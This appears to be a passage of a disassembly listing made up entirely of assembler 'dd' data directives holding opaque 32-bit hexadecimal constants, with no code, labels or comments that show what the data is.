dd 2FC25FBAh, 12019462h, 85A8D15Fh, 80B06A0Ch, 70E6016Ah
dd 25302698h, 87BB5520h, 74FABDF1h, 13338D23h, 0E7CA30D7h
dd 6197E513h, 896B2F9Bh, 0F2C42F00h, 99633ABh, 7B1781B1h
dd 226476F6h, 67E25213h, 307C1600h, 0AE0522D0h, 4600769Dh
dd 0CB16765Bh, 0FFAC134Dh, 0EFC9D702h, 0FC254BDDh, 0A1A4F4EBh
dd 0C4C81444h, 1F242546h, 1209D18Fh, 0E9E945AAh, 478E316Dh
dd 50AB7017h, 0DB554C3Bh, 0B5B3F18Ch, 0B8FCE369h, 0DB800908h
dd 0F0BB55C6h, 0A6EBA602h, 553FE9AFh, 109772CCh, 239D293Ch
dd 27940E35h, 3DE69218h, 0C059058h, 840B556Ch, 0BA52572Dh
dd 26DD3061h, 0AF43282Fh, 0EE29A340h, 6AF7A999h, 0CB50DB7Bh
dd 0AD87823Bh, 89E1091Dh, 0D6DD6A35h, 0E5A98E98h, 0AE9624B9h
dd 122372Dh, 8FDF29AFh, 21733C2h, 0B974501Bh, 2D3F5E9Dh
dd 483AF2D6h, 80D3C2C8h, 4EF957AEh, 0B82E1187h, 0F6D0DE0Bh
dd 9D334513h, 2BB781EEh, 0C6DB3BD2h, 50F8EE80h, 7012374Bh
dd 0E644FC6Ch, 67BC96D7h, 0B78260F2h, 580B2E19h, 26D002AFh
dd 0FB8B615Eh, 6597B0D5h, 2D288510h, 51E5F712h, 566ED5E3h
dd 42DC18EAh, 0D9D50FE5h, 0F5C47A6Fh, 8CE7AB00h, 0C18D2B89h
dd 31FF0077h, 53CCF8AAh, 0A127D196h, 0D5371Fh, 0BB0C0353h
dd 6D25C96Eh, 15CEC5DBh, 0C92D7C58h, 56538B5Dh, 6F00FCABh
dd 8D22C8FBh, 49EA2E52h, 0BE4ACD46h, 0EC49A16Ah, 0E1FFD0C0h
dd 149743B7h, 0AA064FB9h, 3C09937Ah, 0A14E0985h, 3068DF12h
dd 0EB88B7E2h, 210948A4h, 71485C20h, 6F75D2A2h, 0EDA9408Ah
dd 0CB2C986Ch, 67093160h, 9EDA7081h, 0B004DCE8h, 0FDBD0195h
dd 0E11845EBh, 0B893A904h, 693713DAh, 384AF2EFh, 0FFB48086h
dd 85A9B54h, 52660121h, 0C7803B79h, 0F482F4Eh, 859EB962h
dd 18FD6D8Dh, 386959A9h, 0F33549h, 0C8E326C9h, 0C79AA01Ah
dd 8102313Fh, 9934B8Ch, 0C2250D95h, 51FD627Fh, 3A5F6869h
dd 235D2BB7h, 0F090E9A8h, 0CC055127h, 992E011Ah, 492FCFF3h
dd 0BCD6EEC3h, 0BDA8740h
dd 9D200C8h, 6A2910D7h, 0A90FB468h, 43B05777h, 95B5F56h
dd 2E6D9DB4h, 0E8861875h, 0D349C706h, 4CE4D16Ah, 191A60CDh
dd 955F0140h, 0C7D03A5Bh, 0F14011Ch, 2D3F6D68h, 80472C42h
dd 829ED717h, 0ADC917AEh, 702E8B4h, 47D48170h, 1AE7294h
dd 323C92B4h, 0D7A76842h, 8B80CDFDh, 2CD0DAAAh, 63442500h
dd 8A24CAF0h, 4FC2B789h, 0BF37D85Dh, 1A6461CDh, 0BBF3EF65h
dd 5925324h, 0C75F4DABh, 48784931h, 0D857FB97h, 2AFCCF22h
dd 67E90E08h, 0A5BD8501h, 8974AE0Ch, 0A200EEB2h, 7C883645h
dd 524B3922h, 0B5F827CCh, 0BD0B85F3h, 0E112EB11h, 0E26B2571h
dd 0D0BA9D8Bh, 80C40612h, 24AE2909h, 1AA6AE73h, 2F2F3518h
dd 0F54F0446h, 670FB4ACh, 34496C08h, 2A1420C9h, 0AB87FCh
dd 5A73E43Fh, 27C50970h, 1C10195Dh, 0C00EA1B8h, 813D11D7h
dd 0EA6E8A53h, 207DF888h, 17416801h, 0C82F5C57h, 93009A92h
dd 0D35AECBDh, 928BCB15h, 14BE093Fh, 0AE6D5C48h, 0F78CB5C0h
dd 0EA520431h, 0A3490872h, 2A484802h, 497BA2Dh, 0F7B9189Ah
dd 391C5FD6h, 8A905B84h, 0C14BEBFCh, 0F80C81CFh, 5EF66158h
dd 4925DC76h, 8E038A75h, 7686DCh, 7096802Bh, 6FF1D0F5h
dd 0B0B552EAh, 2EF9B709h, 0DE2C615Fh, 9802D4F8h, 0E695FDA3h
dd 838277BCh, 55E1C30h, 25953158h, 0C2712F39h, 0F92D51CEh
dd 0CF8B2A71h, 9DE4D565h, 70F59D95h, 0F95ABD89h, 0A3EC10B9h
dd 0F5E9CB00h, 8189788Fh, 2F7B09D7h, 0CD714D46h, 0EF042142h
dd 0D126030h, 54147B11h, 0B1CC78B7h, 3D2D03F2h, 0E30B94E8h
dd 0F6931DB6h, 4006C4E8h, 144BCF4Fh, 0A0634AECh, 0B88B0201h
dd 59C88061h, 451213EDh, 89199E27h, 79BBC033h, 1A099D8Eh
dd 0BD9D5658h, 28D9E16h, 0FFA73326h, 0CE80E9D1h, 0B1141E2Fh
dd 35EF802h, 1555FA45h, 93D067FDh, 38B68D0Fh, 0BF3F992h
dd 4F2344h, 0E698A1E0h, 67661CD9h, 8688900Eh, 0FF973ED6h
dd 1658E4F9h, 3C9EBD3h, 2E71EA2Ah, 0A22A79B3h, 21A950E1h
dd 0AAF2015Fh, 5BA3BB82h, 0A052D97Dh, 0B47EB594h, 79051FF4h
dd 0B3704094h, 613E31Fh, 95F4C697h, 91DD8F62h, 0E93A7D2Fh
dd 52D8E870h, 854AC2ACh, 27F4FBBAh, 0CB55499Dh, 97E8FD4Bh
dd 0A887F081h, 0A95BF62Ch, 0E3EAC025h, 0E84E2Ch, 5598460Bh
dd 90B89FABh, 5B739304h, 0E9B86242h, 112B2E55h, 0CDBC97B8h
dd 0C2489405h, 52FF5E0Fh, 0ADA230h, 0C71332DCh, 17FB3D0h
dd 0BCDB1E4Ch, 0C59582EFh, 88A6444Eh, 18975B96h, 2DBD31D6h
dd 4C731145h, 0F10A239Fh, 0F849B928h, 4E44B034h, 0EC75BFC5h
dd 7087F88Ch, 59330057h, 0E1B1C535h, 0B0003E0h, 652E2753h
dd 5E9642C7h, 0E84D34C2h, 10D91060h, 4991313Eh, 96E85A01h
dd 0C154BDC0h, 3B002DF8h, 922E4A38h, 2519E658h, 0BEF1D6C9h
dd 0A8010A11h, 76821620h, 82542F17h, 3E895E7Bh, 686607Fh
dd 550187CDh, 78194710h, 413FFE8Ah, 5D95895Dh, 7D5D34h
dd 0E159774Fh, 0B9CDF800h, 0A768F324h, 42B04DAh, 0B8B82A86h
dd 0BAB2D2DAh, 10A52C88h, 70C0F49Ah, 71E25CA0h, 0FFFD5D00h
dd 968C2367h, 0A1E1BB02h, 0FD506127h, 0C7600099h, 26E2ACD4h
dd 0F0026D96h, 5D765A99h, 7FF867FBh, 1B191378h, 2567A856h
dd 926D565Fh, 0B0A8F7B5h, 0B8A0E97h, 0CCF348DBh, 986E1AD7h
dd 7B1432Bh, 96F2A397h, 59DF40B2h, 0E9071F39h, 8A668991h
dd 932177E2h, 60D8D073h, 7F4448B3h, 1309FF4Eh, 0E7CD7761h
dd 2716DB49h, 0D9C407DDh, 0C57113E3h, 0CFBAB4h, 9AA37FB0h
dd 40D14718h, 3FF4D504h, 4BA9CAEh, 0B83A12CBh, 2B3FA264h
dd 9CBD654h, 254F5C70h, 6D8955Bh, 0E49FD3h, 0D4F6B31Fh
dd 36B4CF01h, 0B26F2B99h, 40CB4AA3h, 0E954B702h, 0EDF6F446h
dd 0CDE4B512h, 0D7C1508Bh, 0ED215ECDh, 6928D8E1h, 6B908114h
dd 0D19482B8h, 44588A3Eh, 2BCAE592h, 0EF4FDAE3h, 7D90F462h
dd 0EFC052CDh, 29E5CC9h, 2594A8F9h, 925D98FCh, 0C57255FFh
dd 1C0E5100h, 0DEC781ADh, 15DB172Dh, 32E2835Fh, 6A70ED73h
dd 42A7F99Fh, 2F5C258Dh, 138CB42h, 2EDBE780h, 0CF811000h
dd 12689289h, 54609006h, 566FDD9Fh, 0E73BE633h, 0BDA7D1A0h
dd 0C42A5ED8h, 6EDCF14Ah, 0FDBCCEEDh, 50282712h, 6D47AAFh
dd 0AC2B62C9h, 0F3BA16E4h, 5BEFE075h, 6661CE25h, 25BFF8E3h
dd 335F50E2h, 4416F41Ah, 0ACBEEDCAh, 5A61A3BBh, 0F025B670h
dd 9F19B5A3h, 5A445AE2h, 0EF700260h, 7290F531h, 8D379550h
dd 5406F400h, 13437F90h, 0F87DF8F1h, 0BA957150h, 2DB050C5h
dd 2659EDE9h, 538D5C2h, 21C381F9h, 0E0F72F10h, 95064C58h
dd 0CE3E8311h, 2830BF0h, 0CCD0BBC0h, 0E8DD3FC0h, 1035BF84h
dd 7276F21Fh, 4EE8834Ah, 9B5AB1D5h, 0DBA696FAh, 155825Fh
dd 7F397B0Ah, 92955EF8h, 0F415D44Dh, 0BBA32E09h, 0E07B5737h
dd 59C28A09h, 0B7D5AD6Ch, 5DF2D6Ah, 60BC60B9h, 4AD57680h
dd 119028D9h, 9A65EE78h, 4BBE9DA8h, 4E7761E5h, 0E06E8712h
dd 487E8E85h, 0C1B53112h, 0EB0994AFh, 71316Eh, 88D96AF0h
dd 0CE791F89h, 40AC824Ah, 2F0BC910h, 2012FF5Fh, 9C629462h
dd 0D85BDBDFh, 0E92FF2DCh, 0C4516Eh, 0A28AAFA3h, 824A6296h
dd 8A25A4D8h, 0B5A6078h, 591073B3h, 29608F2Ch, 4A44F5D7h
dd 618CB604h, 8E8171E4h, 322B2239h, 3121F9A6h, 7DC62985h
dd 9D0455D9h, 510B2EFDh, 20C50982h, 6BEC550Bh, 7029992Ch
dd 0F65D51C5h, 0CBFEE8D8h, 0FC6A12C3h, 578DB07Dh, 0D03ABF02h
dd 565B07F4h, 0EA5888Eh, 4D18D14Ah, 7FE0B747h, 2F6EB5E9h
dd 0C35B61Fh, 7F3D1600h, 0FE3F6596h, 49A60BF1h, 0D8E41C4h
dd 44024EAEh, 88D1D98Ah, 4618F300h, 120CC2DFh, 0AAECCA48h
dd 7D9D8C42h, 97B0D52Ah, 4E8C21CDh, 5E6BA71Bh, 7DB014ECh
dd 10B74BE9h, 9D2D315Eh, 0E988AF53h, 0E839800Dh, 1F44114Ch
dd 0DE630A01h, 0E9B783ADh, 24CB222Bh, 8C2B8111h, 0B295FE45h
dd 0FB5D50D1h, 82A41004h, 3AA1F193h, 0B3824DEDh, 666D07FEh
dd 3DC087E0h, 0B0CD12F9h, 9D3D05EDh, 0F8EE9361h, 0C1EF6AAAh
dd 56C66C42h, 0BDDD2FE2h, 0F72A0171h, 0C8B017EFh, 6409A48Bh
dd 2B7FB994h, 0A542D121h, 375FDD42h, 963700F9h, 3DAB63EDh
dd 7017622Dh, 1F75200Fh, 10C02B27h, 0A56D3Bh, 504DB0EDh
dd 0F483FCB6h, 44F0FD02h, 4699AD4Ch, 0B537032Ah, 70EC3325h
dd 2FF0AED0h, 27972048h, 8837D2h, 0DFC88E27h, 8C09F5D4h
dd 0FE8F48B7h, 4E0681Fh, 0EA9FB2F3h, 19A2DB8Ah, 931D530h
dd 0ECE74BA0h, 1F691882h, 5F0DBD22h, 0DDF99D91h, 0E0577788h
dd 0A3BC2AA2h, 0F7208AC0h, 0D62F3465h, 3DB5611Bh, 1AB77F18h
dd 0C57FAF5Ah, 0C19EB400h, 0C8F1B362h, 0D5364804h, 2FAEDA8Ah
dd 539A5A3Dh, 4C14EB80h, 3865B29Dh, 0B06201D8h, 0DF475524h
dd 8B0E7A11h, 0E713B8D8h, 9B83B0CEh, 8AAA015Bh, 9253685Fh
dd 3AFEC58Bh, 1DB2BAA6h, 0A55B130h, 87715A9Ah, 0C6400983h
dd 694064DCh, 3778DD9h, 36FE765Bh, 2FA72C73h, 4180150Bh
dd 5F8248CFh, 0DFE1FF25h, 8788A61Ch, 0EB9B040Ah, 559FE189h
dd 9E04C378h, 0C81AE002h, 8A35EB8h, 8F493B76h, 0F9F9932Fh
dd 4BF97950h, 226A8E16h, 0A3BB3FB3h, 0BB419E97h, 0AF9261DBh
dd 0B6CA2B5h, 0A341AE8Fh, 2ECAD25Bh, 0C6C87613h, 0BB7A00D8h
dd 2302730Ch, 961CF139h, 0E6810BF7h, 0AB3A598Eh, 0E66A122Eh
dd 0E816E05Bh, 0A98D02A3h
dd 63366E1Eh, 0F200AA71h, 50F47834h, 0E71500F7h, 61A8BC46h
dd 2397E06Fh, 8501186Dh, 0F5B7E6AFh, 0FAB0C8ABh, 4E0CE828h
dd 13836900h, 14BD4BA6h, 2534FA6Eh, 0E3D05B62h, 0E9ED165Eh
dd 27A27BDh, 0A8F78D59h, 0B18DE12h, 0DF7CC1BDh, 0E733DD6Bh
dd 0BCBF50C0h, 146E0212h, 2A7458EAh, 952529D8h, 71E45DA9h
dd 0DF0E680Ah, 890994B3h, 9914E421h, 0BCD18035h, 6DF99D3Dh
dd 121CC0B8h, 5E9DA1ECh, 0C013B94Bh, 13E0BF67h, 0FE2C36AAh
dd 93F1D623h, 54F5D26Bh, 3F7C699Ch, 0A572C960h, 3AC60F3Ch
dd 39003282h, 0AB0340AFh, 1870F11h, 0AF5BF813h, 1A41C598h
dd 25CDE923h, 0D372EAF3h, 40B02AD6h, 0CD4BB710h, 0B757238Ch
dd 0E21F0781h, 0ED0A825Bh, 5C5046A8h, 0FA016523h, 9A20D9A5h
dd 2DC996FDh, 2DDE35D7h, 0C103974Ch, 0DA160879h, 0E55A25F4h
dd 6D9570F8h, 601B6466h, 95CAC8B3h, 0F592545Eh, 0EEEC9A17h
dd 84239A0h, 0CE0998E6h, 6D0689B3h, 5E8EC092h, 3F0357DCh
dd 36F466EBh, 11D212D9h, 7B993908h, 3B00C76Ah, 9BDEE982h
dd 1627BC14h, 61AB5466h, 2E1185h, 9D525096h, 306B7210h
dd 0DAE26904h, 0F2EF8718h, 57A200E3h, 0B031C5B5h, 205B5A21h
dd 79BB66A1h, 3796C927h, 6E230340h, 0A4251EA1h, 96FAC4DAh
dd 0DC9DDE68h, 0BDB300D6h, 4C264A68h, 21C86C4Fh, 2B7000CCh
dd 14E77DAh, 453DEDF8h, 0E4804BF7h, 495325B5h, 1B25646Ch
dd 88B0B4CEh, 46107927h, 0EB8DA88Eh, 5BDD254Eh, 0A246335Fh
dd 1162C061h, 48C79525h, 513E09A5h, 0B4A4774h, 58D0EDD3h
dd 0CD01023Dh, 2AA19D29h, 0A6FC797Fh, 2604DE8Dh, 0E24713B2h
dd 0A4703BAEh, 34A822EDh, 73596175h, 2527BC58h, 1B582EB4h
dd 48EB8039h, 22B5761Bh, 55C185AEh, 0EA9AC467h, 9E37FF6Ch
dd 16DA5189h, 54C06B23h, 3178AC7Bh, 0E76D045Dh, 0C89D89AEh
dd 4C95561Dh, 0B5C0B010h, 0BF50DC74h, 571B120Dh, 0AC93B97Eh
dd 13098C19h, 8AB0F9D6h, 5325AC37h, 181C59EDh, 1B7B001Eh
dd 0CA63D6EDh, 0FBBE3AB5h, 0F48E5B40h, 0FA81259Eh, 0F900FFF6h
dd 3520DD2Bh, 12A6FA56h, 0AE1B36D6h, 4A981166h, 4895EC50h
dd 0B2754628h, 9DDAD7E4h, 411E78B5h, 0AB206B18h, 4AEB283h
dd 57D7D639h, 328AAA5Bh, 35BF7DA0h, 20C6C712h, 0ADD3CDB9h
dd 909DA82Fh, 0A2DD9674h, 1C7BBDD5h, 9870E4DAh, 6E769F13h
dd 8213D76Eh, 2D6ED9EEh, 9848457h, 6280935Dh, 935CFABCh
dd 55B50905h, 20502405h, 1B6FEAh, 0CE661514h, 1240B4B1h
dd 0E3FC359Eh, 70994C7Bh, 7995744Bh, 0C4A1AFF7h, 8A3AA019h
dd 0D4187E95h, 0FFA77B93h, 3077F90Bh, 17B9CB5Ch, 0C453CCBEh
dd 35B7FF23h, 0EC083FA0h, 4059DCBDh, 0CEB4DB81h, 505C6804h
dd 9C94C1B7h, 6E020F6h, 8700B5C9h, 31AD340Dh, 9DF59D0Bh
dd 0F19FCE58h, 398EECF0h, 98560140h, 0BD520D5h, 3DBB5B4Ah
dd 199DEC7Bh, 7596C5C9h, 50F429C6h, 27FFFBBDh, 62A5CED1h
dd 0E0E96DE9h, 0B7215B68h, 4B7679B5h, 1A45B1F0h, 6200E963h
dd 0E90A2D41h, 0AC0E1F96h, 80D438D5h, 0FEC317B8h, 31480BF9h
dd 3DE45BBDh, 53BFF10Fh, 0A7B1021Bh, 9AD95558h, 0CED098A0h
dd 21ADE1AAh, 9784AF14h, 549C38AAh, 45F43389h, 0FCFB9F34h
dd 9F114E7Ah, 109FA5Ch, 0F4B2FEC6h, 0F8BE7916h, 9D32614h
dd 575F029Ah, 0A0A57C65h, 0B6417DC0h, 4CE20BF3h, 0C4FD8F93h
dd 0E0589FD3h, 613CB702h, 5550E95Bh, 3DC2A28Bh, 0C1966674h
dd 348043DBh, 53B26601h, 78DF7C00h, 8D09F2F9h, 0BA1C5BEDh
dd 6A3B6B29h, 0EEA24AC4h, 26BF5001h, 283B9956h, 0FA65B7Bh
dd 115843E0h, 0DCE7801Ah, 0A48D5742h, 0A7AE840Ah, 0B8AEFF48h
dd 0BCC38E01h, 31B522E5h, 56E9FF8Dh, 7E8D6153h, 0F35FC992h
dd 2B82D091h, 7B77BF0Bh, 91940B7h, 17654F9Dh, 699AAB14h
dd 862A9896h, 0E43D0D00h, 0E3811579h, 8A561277h, 0AC21AD18h
dd 0B9098C17h, 3EED422h, 2D0FB5B8h, 0FBC4D1B1h, 1A7ED000h
dd 3D7AA206h, 5930007Bh, 0D5DDBE84h, 0A348C5EFh, 9E9E74E8h
dd 7AE25B12h, 6D5BC389h, 128F7CD8h, 0EB52B019h, 225F3C83h
dd 0C49F1F56h, 66970026h, 821518F8h, 7A1CC333h, 9A801B74h
dd 7E16E63h, 91D2DCBh, 0FA422855h, 60B90213h, 4FA12FB9h
dd 182D2141h, 0ABF45002h, 5F86B501h, 7C6E5690h, 34C25F16h
dd 74958DBBh, 5401DE13h, 66265235h, 1BE0A259h, 0BD290955h
dd 94FF0B9Dh, 0E9DE12E7h, 89DCE3BFh, 559E09B1h, 49803537h
dd 2ED5B228h, 47DE49ABh, 0D401B8BCh, 0B501692Ch, 0C40407C9h
dd 0FB94BE2Eh, 0A5EEA6BBh, 0DB0093F6h, 663103A6h, 4EBE9AA2h
dd 902E0F10h, 12791D1Fh, 4BD8AEF8h, 33F121B5h, 0D1850960h
dd 23519D02h, 0BF0FE74Eh, 0DFB56BAFh, 0F5025E62h, 66556983h
dd 28C30068h, 97ED427Ch, 3502B7EFh, 0F05B2953h, 0D0274032h
dd 0BB314EA3h, 403AE767h, 75F58D0Ch, 33D995B0h, 16921480h
dd 904AB1CCh, 265520D0h, 70E65F18h, 332DB5Ah, 8971E4D2h
dd 5D58019Dh, 9C6A1DD7h, 4BE47612h, 850188C3h, 97107921h
dd 3119F060h, 97581640h, 58A7D9F9h, 604F98FEh, 32EF7260h
dd 953A2313h, 0D8FCCF85h, 518A76D8h, 0C24F5325h, 4010564Bh
dd 6B49077Fh, 1B426A00h, 2BFCAF4Ah, 20BD90C8h, 8B273379h
dd 34D4D0D1h, 0EF396CE9h, 324C9C0Eh, 8603B30Bh, 25BD2B22h
dd 33C2FBBFh, 0D56E21CBh, 28FF1312h, 90A12BCFh, 3CE90122h
dd 4FB31789h, 0D8A72071h, 2D23B4EDh, 807CB857h, 0FD8E4FCBh
dd 9820D6B4h, 34EAD2BBh, 10D637F2h, 7912DC5Ah, 0C98AAE2Ch
dd 7AFEC417h, 539E0774h, 62FD6AC8h, 5675923Ah, 8F005D71h
dd 0E71EC012h, 86EC0089h, 10B81F42h, 0C101F0A0h, 5614257Ch
dd 0AD3B5FF5h, 0ABBCDFh, 41FF4786h, 34F26920h, 498874BDh
dd 53933859h, 0DE6AC40h, 0BC05B95Fh, 0AD4D2FACh, 22CA5EC0h
dd 0A6603A87h, 0ECEAA9CAh, 9B7F0298h, 0D43AE8C7h, 0D40DCD4h
dd 2C47D2Ah, 0E37094B5h, 5A41CEB2h, 439B2FC0h, 0EC34AA97h
dd 841ED81h, 0C01FB83Ah, 7399AED2h, 3EB7EF9h, 0F60D09C8h
dd 0EEED2BBEh, 3C1F886Eh, 9407C94Dh, 67D79729h, 719D8B53h
dd 18588029h, 1AB3DB7h, 734F8552h, 31123ED7h, 4BB3C0CCh
dd 52078CA3h, 0FE5BF82Dh, 0B4027D38h, 605BB98Ah, 0B529D97Ah
dd 0C647D24Fh, 5C0EC7C0h, 127B4F3Ah, 8E00B218h, 0C5B91673h
dd 94F3BE8h, 0A64A98A8h, 61EF5B71h, 6A0B15E6h, 0B5513DDCh
dd 71280090h, 0A501E500h, 0A360AAC9h, 0F0760185h, 417EB947h
dd 2B39F5B1h, 5AB9E116h, 0A32518B8h, 9F9657Dh, 3D570468h
dd 0F14B007Fh, 0AADC6310h, 0C68D655Ah, 4E11282Bh, 66D9BB89h
dd 46558A5h, 0CF04060Bh, 1F414071h, 0B52C9DA1h, 542492B7h
dd 986900DEh, 6F0B8F1Eh, 6AB5F86Ah, 547C06Ah, 736D9503h
dd 0D6621644h, 0FE63D3E2h, 46552C8Ah, 0FE2D4AEDh, 0D883F99Eh
dd 0EBF0503Ah, 2212DE59h, 48A35F36h, 49B53105h, 0E671EF16h
dd 34C5BD89h, 0A553EC6Ah, 38E86ABBh, 53609290h, 4000BEA2h
dd 81EEE5FCh, 5F5F68AAh, 78EAE6h, 0F8176773h, 0E3B63133h
dd 0EA161800h, 0AAA83F9Eh, 55BF0566h, 0AF905F01h, 0FE00F56Eh
dd 3F0FBF99h, 44C369EDh, 0D3CBE668h, 455E12DAh, 19FAB0BBh
dd 255F3817h, 0C8BAFAC4h, 54B5E903h, 3B00F4AEh, 4D3DECCEh
dd 5E9D337Bh, 0FEA51329h, 994A736Bh, 3A97F7Fh, 74FFF340h
dd 0DEED5929h, 0ECC05A78h
dd 2A129333h, 0EED22EA9h, 1B12512h, 74E01F37h, 70253185h
dd 6A1E1086h, 54561CD5h, 941A84A0h, 5B23B86Fh, 66EC52EDh
dd 0BF802A91h, 75BA8D1Ah, 9A0F4BC1h, 0C818C824h, 13CD1682h
dd 20DFB038h, 0A5415995h, 3B508B73h, 9D0B0998h, 0A57B2BA1h
dd 0F6181779h, 0F3760612h, 2415D704h, 402BA8A5h, 1A2B30Eh
dd 5A9FA9B5h, 1C829518h, 14532434h, 2AA4570h, 1E6D034h
dd 0F1562920h, 11946DCh, 0B51A5711h, 0CD3E810Ah, 298642C1h
dd 0C4442ED5h, 68003449h, 2DFB22D5h, 4A27F897h, 2AF6C0CAh
dd 0BFF6E421h, 2EACDDF3h, 0E8D26DECh, 0CF330BDDh, 2F06FE90h
dd 4C9C107Dh, 807C2D06h, 0D34D9690h, 0AD00B677h, 5B187289h
dd 9513820Fh, 8080787Bh, 0A2FB393Dh, 0B3C0005Dh, 89AE426Fh
dd 614A5E35h, 67BD12FAh, 0D9F88719h, 7193A5B7h, 680037A2h
dd 153C8254h, 6401D95Eh, 0E1CA476Bh, 0FDCA164Bh, 1E7F0AABh
dd 5043BBB7h, 7D12FDFBh, 0E2AEA20Dh, 0E7800908h, 475359C1h
dd 4F6082Bh, 4CECCF9Ah, 0C4B4FBF5h, 81953B29h, 0F246BBC3h
dd 3975CCF2h, 217A5519h, 2E62B475h, 0B56A3428h, 0F8F45476h
dd 0E1D2F33h, 2D607354h, 0F0C799DAh, 83E299F5h, 0DEE3FC96h
dd 0BDBC51F8h, 0DBFDAF52h, 0A6BA8460h, 7D97E16Eh, 847F2A2Bh
dd 8BC5514Ch, 5B27FFEDh, 0D97D4842h, 6BA025h, 0FD62118h
dd 0D1D8DA22h, 71C4534Ah, 0A0D7A7BBh, 0B7B9D473h, 6A2DBCE1h
dd 887DCEDDh, 0EE01D8B8h, 0EAE3A87Eh, 812ACA39h, 1311576h
dd 61E8E680h, 880F1896h, 5F503B02h, 38C7BE5h, 21D300BBh
dd 23963B20h, 699FF9BDh, 1B4185E6h, 6B7FD98Bh, 31C23F3h
dd 2DA2EB8Bh, 43F7DE88h, 22BBA902h, 5C4D1C16h, 38FC6B4Ah
dd 3D95BA22h, 5BB08179h, 3B0BAB69h, 75AA8D84h, 0B09ABFF7h
dd 2C311AC9h, 64A0FCC4h, 0D430C012h, 0FC5ECCA2h, 0F69DF0B0h
dd 488F48Eh, 0F3B62F9h, 3EBE8986h, 0FC3EC089h, 0D917B041h
dd 231607B3h, 195F5D6Dh, 91D23575h, 0FAEC801Dh, 0C1A416h
dd 0D6B7A28h, 0E238BBD0h, 0C21AB625h, 0E00DCD9Dh, 9FC563C7h
dd 1BAD25Eh, 7D958940h, 52E87A28h, 45C1D096h, 0F6004E12h
dd 140D6779h, 0B02B9E3Eh, 38F7952Ch, 2FC0305h, 0AA54B0DEh
dd 0BE5CE3CDh, 0D0097769h, 14D53B0Bh, 0A8A21C11h, 0B6730097h
dd 17783EDh, 35304701h, 9BFCEE66h, 9D29986Bh, 15BB314Bh
dd 5CE81065h, 5B4A5F1Ch, 0F8926A44h, 9C802CACh, 77E13E01h
dd 0D2949F0Bh, 39CAFD7Dh, 201975C0h, 0EAC45E82h, 1B312F8Dh
dd 5F2CAF9Dh, 268A2EB0h, 60A5AE02h, 0E037BD94h, 1339C4FDh
dd 0AA83F19Ch, 0C059A854h, 55B60BF8h, 1FF500F9h, 15E92B35h
dd 601FC899h, 0F0C5A291h, 3A81F202h, 0F62AC523h, 321AE265h
dd 0AF54F155h, 284AACF0h, 15BC08B9h, 40BD258Ch, 1211F0C5h
dd 958D8904h, 5250450Eh, 0B05B8FC3h, 2D64B6BBh, 965B7F58h
dd 90D7188h, 99734AB7h, 617ED8Ah, 5E25810Bh, 0D07F5A13h
dd 694DB5A1h, 32601D64h, 1000D0EEh, 0B9A621C8h, 7E6695CFh
dd 8AB54BBBh, 3D4222C8h, 5889E381h, 31027113h, 0CE5C16E1h
dd 0BDEDBEBh, 757BC6FEh, 7B126D0h, 1549099Ch, 0C8ACF279h
dd 0F58B65Ch, 0AD124E83h, 2D72C3C5h, 538D887Dh, 899D2C0Bh
dd 0E95F85D3h, 9DDEBF1Bh, 8C3E12C0h, 193C50B6h, 10064883h
dd 8B042639h, 0B84EB7C1h, 90F9C1AEh, 13202DB3h, 0B223ED5Bh
dd 14227901h, 0E82AAEA5h, 7201A082h, 0BB5D9F36h, 0A09A4AB9h
dd 5BCD06F5h, 16BE8CE5h, 850C9044h, 0FF4F57CBh, 4E1F066Fh
dd 806F412Dh, 2EDC922Ah, 8B50C405h, 0E280D8B1h, 69080EBBh
dd 31610F65h, 0A8B0BF12h, 71077BC9h, 2EDDC41Ah, 0AC7A22A1h
dd 603EFD06h, 2CF14FA6h, 79365402h, 5E8AFB8Bh, 95CA221Ch
dd 0E4BFCB91h, 4F4A7EF7h, 342BDDE1h, 4AAFFCDBh, 9877B7CDh
dd 172C2110h, 5C8D1FFh, 0A3F100BCh, 87D56564h, 0F84B8AEDh
dd 93B29312h, 2415488h, 0E42C03B7h, 0A50DA18h, 0D35FE3BFh
dd 1CAD8DF9h, 0CC011ED0h, 0AEA485B9h, 0C96B633Bh, 0C3FAD812h
dd 308B7300h, 2D774FC9h, 0C573B5F0h, 4206D88h, 0AE37E95Bh
dd 8257003Ch, 126A375Fh, 0D17F3003h, 0A226B0DCh, 6500E574h
dd 0BD4EBBACh, 4B3472B9h, 39089DDDh, 2B0A805h, 0EFFFB531h
dd 95798BCFh, 0CDBE9017h, 934AE497h, 5CCD6D00h, 0EABC68A2h
dd 1D3D083Ch, 5104C628h, 10BBE1B3h, 8048DAB8h, 0FF017113h
dd 0DB3B457Dh, 4AC182E9h, 28D9F50Dh, 68FC2317h, 0B469F84Fh
dd 29A86CFDh, 4113F407h, 8D27FEECh, 67B86A44h, 6C7BEF5Fh
dd 0EDAF321Ch, 10E71C5Dh, 8B15859Dh, 0C9760F53h, 165D7129h
dd 0BD73EA60h, 610BCCA5h, 0F1885154h, 52E8C427h, 34895AB1h
dd 4CD71F81h, 0E5BD13B3h, 60D12230h, 0B5127D4Eh, 5AE31C59h
dd 0B5DFCF50h, 6A9D2F49h, 0BD0833B9h, 68251E49h, 840D3554h
dd 7D6942B0h, 0A7A980A3h, 0A196E97Fh, 0C33F8535h, 0FAB249E2h
dd 797DA062h, 0D84D00D3h, 585901Ah, 1C4BB701h, 1F288C78h
dd 77804B6Ch, 143C73C6h, 42CAEF37h, 98576908h, 1354C35h
dd 583351DAh, 0C59509A1h, 71E27F2Ch, 0D89AAD2h, 0D4FD0C95h
dd 0F839E913h, 250CA6B2h, 0B25B1719h, 5B8C64A5h, 1210B31Eh
dd 8EE68036h, 140BE84Ah, 42A03117h, 5B8A2589h, 0DA2F889Ah
dd 4F09A748h, 49240E83h, 80247326h, 2FEF8057h, 9F38B95Bh
dd 0D9A65B0Fh, 2A359CF0h, 5382F500h, 967DDCCCh, 5CC790F8h
dd 259E79BDh, 5B6D2EC2h, 50844BE0h, 0B91B2CE7h, 33722555h
dd 35BBFC00h, 2B51399Fh, 9D290BC0h, 0E7D5345Dh, 0D819C51Bh
dd 402528F7h, 2721F402h, 4015D61h, 1BF9A505h, 9D7588B4h
dd 0BBD87A74h, 0FA6F13FFh, 17F044Eh, 0B80CB935h, 0D008C1Dh
dd 522869C6h, 1918DFBh, 0F781D9A5h, 3E215CBCh, 3D50EFA6h
dd 0A8084AB5h, 0DC8FA33Bh, 0DB815640h, 6E129575h, 23E25F2Eh
dd 0DBC6D4B4h, 0AB69C132h, 0B471C1F3h, 35FD282Ah, 8FC6558Ah
dd 3D852909h, 12E75B05h, 63CDEBF8h, 0C417E87Ah, 810017B1h
